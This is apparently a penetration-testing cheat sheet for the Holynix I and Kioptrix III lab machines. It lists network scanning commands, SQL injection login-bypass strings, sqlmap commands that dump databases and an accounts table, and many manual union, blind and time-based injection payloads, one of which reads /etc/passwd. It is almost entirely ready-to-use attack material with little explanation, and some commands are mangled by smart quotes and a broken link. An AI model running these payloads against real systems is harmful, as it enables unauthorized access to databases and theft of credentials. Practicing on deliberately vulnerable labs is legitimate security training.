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| **Holynix I** | |
| **Attacker (Kali Linux)** | **Victim** |
| # ifconfig |  |
| # netdiscover –r [Target Network] |  |
| # nmap –sS –sV –O ip\_address |  |
| # nikto –host ip\_address |  |
| http://ip\_address/ (Browser) |  |
| **Bypassing Login Screens**   * admin' -- * admin' # * admin'/\* * ' or 1=1-- * ' or 1=1# * ' or 1=1/\* * ') or '1'='1-- * ') or ('1'='1-- * admin’ or 1=1– * ‘ or ’1′=’1 * ‘ or 1=1– * ” or 1=1– * or 1=1– * ‘ or ’1′=’1 * ” or “1″=”1 * ‘) or (’1′=’1 * 1 or ‘1=1 * … |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" --dbs |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" --current-db |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" –D clients --tables |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" –D clients -T accounts --columns |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" –D clients -T accounts –C thanks --dump |  |
| # sqlmap.py -u "http://ip\_address/index.php?page=login.php" --data "user\_name=a&password=z&Submit\_button=Submit" –D clients -T accounts --dump |  |
| # sqlmap.py --url "http://ip\_address/?page=login.php" --forms --dump-all |  |
| **Kioptrix III** | |
| **Attacker (Kali Linux)** | **Victim** |
| # vi /etc/hosts  Ip\_address Kioptrix3.com |  |
| # cat /etc/hosts |  |
| http://kioptrix3.com (Browser) |  |
| http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos  (insert a big integer, insert a big string, insert a alphanumeric (new122334), insert single quote (‘), insert 1’, insert \’, insert \’), insert double quote (“), insert 1”, insert \”, insert \”), insert \) |  |
| http://kioptrix3.com/gallery/gallery.php?id=1&sort=filename#photos |  |
| # sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=filename#photos" --dbs |  |
| sqlmap.py -u "[http://kioptrix3.com/gallery/gallery.php?id=1&sort=filename#photos](http://kioptrix3.com/gallery/gallery.php?id=1&sort=filename" \l "photos)" --dbms=[MySQL](javascript:;) -D gallery –tables |  |
| ./sqlmap.py - -url "<http://192.168.1.155/?page=login.php>" --forms --dump-all |  |
| ……… |  |
|  |  |
| =1 order by 1--,  =1 order by 2--  =1 order by 3--  =1 order by 4--  =1 order by 5--  =1 order by 6--  1 union select 1,database(),3,4,5,6--  1 union select 1,2,schema(),4,5,6--  1 union select 1,user(),3,4,5,6--  1 union select 1,system\_user(),3,4,5,6--  1 union select 1,session\_user(),3,4,5,6--  1 union select 1,version(),3,4,5,6--  1 union select 1, sleep(2),3,4,5,6--  1 union select 1,2,(select database()),4,5,6--  1 union select 1,2,(select load\_file('../../../../etc/passwd')),4,5,6--  1 union select 1,2,(select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),4,5,6--  1 union select 1,2,(select table\_name from information\_schema.tables where table\_schema=database() limit 1,1),4,5,6--  1 union select 1,2,(select table\_name from information\_schema.tables where table\_schema=database() limit 2,1),4,5,6--  1 union select 1,2,(select group\_concat((select (database())))),4,5,6--  1 union select 1,2,(select group\_concat(CHAR(58),(select (database())),CHAR(58))),4,5,6--  1 union select 1,2,(select concat((select (database())))),4,5,6--  1 union select 1,2,(select concat(CHAR(58),(select (database())),CHAR(58))),4,5,6--  1 union select 1,2,(select concat\_ws(',','CHAR(58),(select (database())),CHAR(58))),4,5,6--  1 union select 1,2,(select concat\_ws(':','CHAR(58),(select (database())),CHAR(58))),4,5,6--  1 union select 1,2,(select concat\_ws('[','CHAR(58),(select (database())),CHAR(58))),4,5,6--  1 union select 1,2,(select group\_concat(user(),CHAR(58),(select (database())),CHAR(58))),4,5,6--  union select 1,2,(select group\_concat((select user()),CHAR(58),(select (database())),CHAR(58))),4,5,6--  union select 1,2,(select group\_concat((select (user())),CHAR(58),(select (database())),CHAR(58))),4,5,6--  List Databases  1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(table\_schema) from information\_schema.tables),CHAR(58),CHAR(58))),4,5,6--  1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(DISTINCT table\_schema) from information\_schema.tables),CHAR(58),CHAR(58))),4,5,6--  List Tables  1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(table\_schema, table\_name) from information\_schema.tables),CHAR(58),CHAR(58))),4,5,6--  1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(table\_schema,CHAR(32), table\_name) from information\_schema.tables),CHAR(58),CHAR(58))),4,5,6--  1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(DISTINCT table\_schema,CHAR(32), table\_name,CHAR(58),CHAR(58)) from information\_schema.tables),CHAR(58),CHAR(58))),4,5,6--  1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(DISTINCT table\_schema,CHAR(32), table\_name,CHAR(58),CHAR(58)) from information\_schema.tables where table\_schema!='information\_schema'),CHAR(58),CHAR(58))),4,5,6--  List Columns  1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(DISTINCT table\_schema,CHAR(32), table\_name,CHAR(58), column\_name,CHAR(58)) from information\_schema.columns),CHAR(58),CHAR(58))),4,5,6--  1 union select 1,2,(select group\_concat(CHAR(58),CHAR(58),(select group\_concat(DISTINCT table\_schema,CHAR(32), table\_name,CHAR(58), column\_name,CHAR(58)) from information\_schema.columns where table\_schema!='information\_schema'),CHAR(58),CHAR(58))),4,5,6--    1 or 1=1--  1 or 1=0--  1 or database()='gallery'--  1 or version() like '5%'--  1 or length(database())=6--  1 or length(database())=7--  1 or length(database())=8--  1 or substr(database(),1,1)='g'--  1 or substr(database(),2,1)='a'--  1 or substr(database(),3,1)='l'--  1 or substr(database(),1,2)='ga'--  1 or substr(database(),1,3)='gal'--  1 or ascii(substr(database(),1,1))>34--  1 or ascii(substr(database(),1,1))<126--  1 or ascii(substr(database(),1,1))=103--  1 or (select substr(table\_name,1,1) from information\_schema.tables where table\_schema=database() limit 0,1)='g'--  1 or (select substr(table\_name,2,1) from information\_schema.tables where table\_schema=database() limit 0,1)='a'--  1 or (select substr(table\_name,1,2) from information\_schema.tables where table\_schema=database() limit 0,1)='ga'--  1 or (select ascii(substr(table\_name,1,1)) from information\_schema.tables where table\_schema=database() limit 0,1)>34--  1 or (select ascii(substr(table\_name,1,1)) from information\_schema.tables where table\_schema=database() limit 0,1)<126--  1 or (select ascii(substr(table\_name,1,1)) from information\_schema.tables where table\_schema=database() limit 0,1)=103--  1 or sleep(2)--  1 or (select sleep(2))--  1 union select 1,2,(select sleep(2)),4,5,6--  1 or (select if((select database())="gallery", sleep(3), null))--  1 union select 1,2,if((select database())="gallery", sleep(3), null),4,5,6--  1 or (select if((select version() like '5%'), sleep(3), null))--  1 union select 1,2,if((select version() like '5%'), sleep(3), null),4,5,6--  1 union select 1,2,if((ascii(substr(database(),1,1))>34), sleep(3), null),4,5,6--  1 union select 1,2,if((ascii(substr(database(),1,1))<126), sleep(3), null),4,5,6--  1 union select 1,2,if((ascii(substr(database(),1,1))=103), sleep(3), null),4,5,6--  1 or (select if((ascii(substr(database(),1,1))>34), sleep(3), null))--  1 or (select if((ascii(substr(database(),1,1))<126), sleep(3), null))--  1 or (select if((ascii(substr(database(),1,1))=103), sleep(3), null))-- |  |